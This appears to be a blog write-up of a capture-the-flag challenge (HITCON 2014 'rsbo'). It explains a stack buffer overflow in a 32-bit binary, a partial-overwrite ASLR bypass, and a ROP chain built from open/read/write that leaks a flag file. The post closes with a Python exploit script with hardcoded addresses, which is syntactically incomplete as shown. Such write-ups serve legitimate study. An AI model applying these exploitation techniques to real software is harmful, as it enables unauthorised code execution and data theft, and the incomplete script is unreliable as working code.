150 is the loneliest number

Last week I participated in HITCON CTF. Well, participated… I downloaded some challenges to solve offline. I have a baby at home and babies are good at two things:

  • crying all the time, craving for attention and not letting daddies to play CTFs
  • being scapegoats. This way daddies can excuse their lack of skills, the way I just did :)


Where was I? Ah, yes. The challenges. After the CTF’s end, the usual suspects posted several writeups regarding the upper levels (350 points or more). Apparently is not cool to write about the “lame” challenges but since I am a “lamer” I will write about a pwn150 level.


This challenge grants you 150 points (read, peanuts) and is named rsbo. My guess is this means Really Simple Buffer Overflow as you will see in a moment.

$ file rsbo
rsbo: ELF 32-bit LSB  executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, BuildID[sha1]=f55cab43de46d4c195e09e1f62b22284b4fec38b, not stripped

rsbo takes input from stdin and outputs its bytes, randomly shuffled, to stdout.

carlos@xubuntu:~$ ./rsbo

The breakline you see is the last byte of the input (0x0A) which has been randomly swapped as well.

What is interesting is that the binary is opening the flag file at the very beginning of its execution :)

carlos@xubuntu:~$ strace ./rsbo
execve("./rsbo", ["./rsbo"], [/* 63 vars */]) = 0
brk(0)                                  = 0x9dc2000
open("/home/rsbo/flag", O_RDONLY)       = 3
read(3, "YOMAMAYOPAPA\n", 16)           = 13
time(NULL)                              = 1408653521
close(3)                                = 0

Yes, the contents of the flag in my test system is “YOMAMAYOPAPA“.

You can see how the output of strace hangs by read(0,…) waiting for my input, since read() is a blocking operation. This will be important later.

Sending as input a series of 500 “A”s causes a segmentation fault. That is interesting… Doing some binary search it appears that the crash is caused by an input of 0x55 characters or longer.

It’s time to load the binary in IDA.


Closer inspection


The first interesting function, init, is where the flag is read. At the beginning I thought I could use a memory leak to read it from memory but the buffer containing it is zeroed shortly after that and the file is closed. Apparently the flag is being used as a seed to initialize random.


Read flag, destroy flag :(
Read flag, destroy flag :(


Bummer. It appears I will have to do some classical pwning in order to read the flag. Let’s see what else is happening here.

After calling init, the function main reads my input (function read_80_bytes) and copies them to the stack at ESP + 0x10 …

Aaaand... Stack Overflow!
Aaaand… Stack Overflow!

… but after doing some stack alignment, only 0x70 bytes are reserved for the stack, that is I can easily overflow the stack and overwrite the return pointer.

Can it be that easy? [Spoiler: no, it is not]

By sending a lot of “A”s as input I should see the program crashing when trying to access 0x41414141, isn’t it?

Well it is not, instead it is crashing all the time at EIP 08048701:

rsbo[31242]: segfault at bfc7752b ip 08048701 sp bfc73400 error 6 in rsbo[8048000+1000]

Obviously something else is going on here. Besides, remember that it was possible to crash the process with “only” 0x55 bytes?

Let’s see what lies at ox08048701, within the main function:

Random shuffle algorithm
Random shuffle algorithm

The segfault has its origin in a write operation at the end of the mechanism randomly shuffling our input. In a nutshell the algorithm is like this:

For each byte of input, get a random byte from its left and swap both. Go to the next byte of input and repeat until you reach the end of the input buffer.

More precisely, until the array index of the current input’s byte is greater or equal to the input’s length.

The problem is that several values central to this algorithm are saved on the stack as well and can be influenced. Roughly the stack looks like this:

  • […]
  • ESP + 0x60 temporary value (for swapping bytes)
  • ESP + 0x64 random value (array index byte left of current one)
  • ESP + 0x68 length of input (some crazy guy put it there)
  • ESP + 0x6C array index of the current byte (used to traverse the buffer)
  • […]

So the problem arises when I send a buffer larger that 0x54 because then I modify the array index of the byte to swap. I end trying to swap bytes between my payload and something at a random address, which very likely causes an access violation. The random nature of the whole swapping process is not going to help…. so how am I going to solve this?


The best compromise

The good thing about CTFs is that we do not need a reliable exploit, it just have to work once in order to get the flag. So an approach along the lines of “It works all the time, 60 percent of the time” is cool. Therefore I opted for sending a payload with all first 0x54 bytes equal to zero. This way, through random swapping two things were rather probable:

  • the random index will not be too out of bounds (moderate values, pointing to harmless, writable locations)
  • length of input will be overwritten with a small value, stopping the swapping algorithm. In the end I want to have some part of my payload not being mangled :)

So sending this payload avoids the crash sometimes… good enough.

Now, even being able to avoid the crash I still have a couple of problems to solve:

  • I am left with a very small payload, around 20 bytes to work with
  • NX is activated, so I can not execute this on the stack
  • ASLR is not activated for the main image but it is for the stack


Time for a ROP chain

I need to build a ROP chain in order to defeat NX. This should be relatively easy since the main binary has not been compiled as PIE and therefore its gadgets would be at predictable locations and can be hardcoded in the payload. Moreover, it only has to read the flag from the file and write it to stdout.

My payload is too small to accomplish this, so I need to write more data to the stack. I can use the function read_80_bytes(out_buf) for that. However, ASLR randomizes the stack on every run, that means I must find a way to determine a valid stack address.

After carefully checking the stack values right before the overflow I found that I can partially overwrite a value with the last byte of my payload (0x00), this way obtaining an address right at the end of my payload. Using this as the argument of read_80_bytes I was able to extend my ROP chain and I had enough space to finally read the flag.

The final solution implemented in… Python, what else? :)

# rsbo (HITCON 2014)
import sys
import time
import socket

payload1 = (
            "\x00\x00\x00\x00"          # will be randomly shuffled (84)
            "AAAAAAAAAAAAAAAAAAAAAAAA"  # padding (24)
            "\x5C\x86\x04\x08"          # read_80_bytes() - This smashes the original EIP
            "\x9D\x87\x04\x08"          # gadget: pop;pop;pop;ret - this continues in payload2
            "\x00"  # ASLR bypass for the poor (smashes the last byte of a stack address)
                    # eff. this writes the argument for read_80_bytes (out buffer)

payload2 = (
            # These bytes are copied to the stack by the second read_80_bytes()
            "\x20\x84\x04\x08"  # open(.plt)
            "\x9E\x87\x04\x08"  # saved EIP for open(), next EIP after it (gadget pop;pop;ret)
            "\xD0\x87\x04\x08"  # char *filename (for open)
            "\x00\x00\x00\x00"  # fd for open()
            "\xE0\x83\x04\x08"  # read()
            "\x9D\x87\x04\x08"  # saved EIP for read(), next EIP after it (gadget pop;pop;pop;ret)
            "\x03\x00\x00\x00"  # fd for read (0x3)
            "\x00\xA0\x04\x08"  # void *buf to write the read flag :) (.got.plt)
            "\x10\x00\x00\x00"  # size_t nread
            "\x50\x84\x04\x08"  # write (.plt)
            "\x0D\xF0\xAD\x0B"  # Saved EIP: it will crash here :)
            "\x01\x00\x00\x00"  # fd for write() stdout = 1
            "\x00\xA0\x04\x08"  # void *buf for write to stdout (prev. read) (.got.plt)
            "\x10\x00\x00\x00"  # size_t count

s = socket.create_connection(('localhost', 4444))
print "Recv:", s.recv(1024)

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out / Change )

Twitter picture

You are commenting using your Twitter account. Log Out / Change )

Facebook photo

You are commenting using your Facebook account. Log Out / Change )

Google+ photo

You are commenting using your Google+ account. Log Out / Change )

Connecting to %s